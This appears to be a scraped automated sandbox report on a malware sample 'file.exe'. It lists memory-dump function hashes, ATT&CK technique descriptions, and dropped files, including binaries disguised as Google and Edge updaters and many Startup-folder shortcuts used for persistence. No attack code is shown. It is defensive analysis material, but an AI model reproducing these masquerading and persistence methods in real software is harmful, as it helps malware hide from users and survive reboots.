Source File: 0000000F.00000002.3542810246.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4c00000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df380425eb6d4d88d4269d7a5949eeb79f1afa15508f4c7da3471fde83a4ac30
Instruction ID: e8b406108e9e80ba289eebc04c23222411efeb938b48efabe16bf4fd90dcee3a
Opcode Fuzzy Hash: df380425eb6d4d88d4269d7a5949eeb79f1afa15508f4c7da3471fde83a4ac30
Instruction Fuzzy Hash: 00F08272E1010997DF15DB64C429AEFBBB69B84310F458826D512B7280DE70690A96D2

Function 04C02100 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3542810246.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4c00000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd54213f7173b602ca2a3db4369e4b568fa5ed5cb7e198559a1618dc4e54c3aa
Instruction ID: 7410e5a779089c33b2f1e9da789cf403505232636d424e167b1065e9529a1d46
Opcode Fuzzy Hash: cd54213f7173b602ca2a3db4369e4b568fa5ed5cb7e198559a1618dc4e54c3aa
Instruction Fuzzy Hash: 82F0BE70500104DFDB12EB74FD51AACBBB6EF94205711C5A9C00C8B66BDA389F49CB90

Function 04C02110 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3542810246.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4c00000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22f27d1d58e49ac845e0b1b03df4258fce4c3ab2d03546aca82ad2c90efeb0d1
Instruction ID: 34996caadf8ff75b2452cf7a1c34beb774645e482f3527122929c366d55df30f
Opcode Fuzzy Hash: 22f27d1d58e49ac845e0b1b03df4258fce4c3ab2d03546aca82ad2c90efeb0d1
Instruction Fuzzy Hash: E0F03030500108DFD711FB75FD4196DB7A6EB94204B10C578800D5766ADB34AF449BD0

Function 04C00838 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3542810246.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4c00000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d34e9b5a5d0d68ca1b51df9f4249749558f5528a828a509eb7feb9de9d70469
Instruction ID: d5be0a1a7d5c038b62b87fdf3e89d5ee095dcf351c07ce7d3affef516326579c
Opcode Fuzzy Hash: 8d34e9b5a5d0d68ca1b51df9f4249749558f5528a828a509eb7feb9de9d70469
Instruction Fuzzy Hash: 8FE09A7180A3849FDB12CFB898507AC7FB0FF02240F1646DAD089C7292C6308E16DB51

Function 04C01798 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3542810246.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4c00000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acb77de22d15c8faa4f28181bd934f39f4dedcaef8550a3a99f032021a39dd2f
Instruction ID: c9a95838f9887bd675b591deb63a60933d076efcc943c0ef91574045676fd337
Opcode Fuzzy Hash: acb77de22d15c8faa4f28181bd934f39f4dedcaef8550a3a99f032021a39dd2f
Instruction Fuzzy Hash: 87D02B3130031447DF3866B9780026A73DE9F84759701857ED20DC7380DD32E80087C4

Function 04C024DC Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3542810246.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4c00000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cb82192bbdef99dc8d4c8d44bfa539892868745147a0316f8b114d5aa372758
Instruction ID: a0539b4ba0ec22cd60e8f8c8275df269b7bb8aab3b82b255a1c0a9b9bf02e9da
Opcode Fuzzy Hash: 1cb82192bbdef99dc8d4c8d44bfa539892868745147a0316f8b114d5aa372758
Instruction Fuzzy Hash: 9BD05E72F193549FCB199FBCA91409CBFB0DBC622471582F7D06AC72A2DA30C9148721

Function 04C00848 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3542810246.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4c00000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecea3675458333e59db35522f3a67fe5c4cfb5d7f352168017a3f08f814e3f46
Instruction ID: 147aa467807b9157ed73d8485c1536ed0f6cd70d3562084f7f011a2528ee4b36
Opcode Fuzzy Hash: ecea3675458333e59db35522f3a67fe5c4cfb5d7f352168017a3f08f814e3f46
Instruction Fuzzy Hash: D6D0C772804208AFDB01CFA4C90036D7BB8BB00240F220095E448C7200DA309F00E781

Function 04C04741 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3542810246.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4c00000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41b916d9bbce4e7d102a9ae28194ddb7a5013417e6030435cab016c22a660592
Instruction ID: a6355324e3056f88b4bc672e02e5d8141dcefa23a961dc6c1de8e6fc20f8a90f
Opcode Fuzzy Hash: 41b916d9bbce4e7d102a9ae28194ddb7a5013417e6030435cab016c22a660592
Instruction Fuzzy Hash: 2FD09722A8D1904FE702F264342048A7B659DD1028306C1EBC40A8B197DA096E13C3C1

Function 04C01791 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3542810246.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4c00000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 848f2fdec939fbecabb5fd6ce75f02c2571e671ec14ff18f7d9b3a80d727acc0
Instruction ID: dcc9fcd33d33f5fad1201ca6639048184452905d9469b44a61ac88d8324f7c41
Opcode Fuzzy Hash: 848f2fdec939fbecabb5fd6ce75f02c2571e671ec14ff18f7d9b3a80d727acc0
Instruction Fuzzy Hash: BBD0223164D3540ECB2541B828200FA2B964A4124831802BFD804C96A2E4A284029740

Function 04C02726 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3542810246.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4c00000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4301790221f24939b17373b2ab8542f1ef783753721d578bab27d92c442e61c2
Instruction ID: 962d301f49d422fd981e34bc3ffd313c15a90dcab2f87a97ef0eb115e4751a45
Opcode Fuzzy Hash: 4301790221f24939b17373b2ab8542f1ef783753721d578bab27d92c442e61c2
Instruction Fuzzy Hash: A7D0A73574110D8F8F109BAD9A044DC7BE0DAD413171441A2D556971A1D72099518732

Function 04C04750 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3542810246.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4c00000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5be751a0a14308d7e00db523e78e509e14c5660135fe54089d11433e889947cc
Instruction ID: c93d898bde5ff2957e7dca4370e16f9bf8f5423ab95344af79955be40ab54307
Opcode Fuzzy Hash: 5be751a0a14308d7e00db523e78e509e14c5660135fe54089d11433e889947cc
Instruction Fuzzy Hash: 94C02B31340028478744F259F800C5AB3CEDB88074711C476C80E9B356CD23BC0343D1

Function 04C0490F Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3542810246.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4c00000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7c7d219e44bb083d5f27edd2ad604dd4b4145f34c77881d7170b2c4477b26c8
Instruction ID: a53fc2f04a3809501cc1967ee5ad817d5fee89dab9e7258d4f6cde5b2db41e51
Opcode Fuzzy Hash: b7c7d219e44bb083d5f27edd2ad604dd4b4145f34c77881d7170b2c4477b26c8
Instruction Fuzzy Hash: 1DC092CF819A821EDF12BA3404FA5C45F90E9722087D90682C0948A413AB0CAF2BC351

Function 04C06C59 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3542810246.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4c00000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c6800c924190390e479885f75445ac85f702027aa515465cfff83b0d19a22d0
Instruction ID: c2a3abe656d184e6a34a4f1e4430dda36f9ca38ce4284223ee177dddb8511526
Opcode Fuzzy Hash: 7c6800c924190390e479885f75445ac85f702027aa515465cfff83b0d19a22d0
Instruction Fuzzy Hash: D0B09236B0400889DB008A85B8453ECFB60E780229F184063C21852840923111A46681

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_GoogleUpdater.ex_e65fbfb1157319b87528dddfb2e6cd6e18528c9_7f7af7de_3bc3d427-7cb5-417a-96eb-5d75155c835e\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_LKMService.exe_e9efdecc8e316038bc2f705926a5fe5162b8fa_39285b85_e315b88a-4a14-4a60-9b7d-8ea35ffe536c\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA691.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA7EA.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA839.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC4F6.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC5A3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC5D3.tmp.xml

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe

C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe:Zone.Identifier

C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe:Zone.Identifier

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_0041bb5e6a304e3ab1306a0efb97daf8.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_04b170d6c7ce4a1cbf80adf59681ef6c.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_0657835699574d798ee14fa601ae70ef.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_067c27cc5a44493a9de076a306d25402.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_06a2df6d73e84a5e813020c8b6294cb5.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_09c0a750f11d494884999ce6371b08dc.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_09cca5bcef6544df9edf8d1207550362.lnk

Windows Analysis Report
file.exe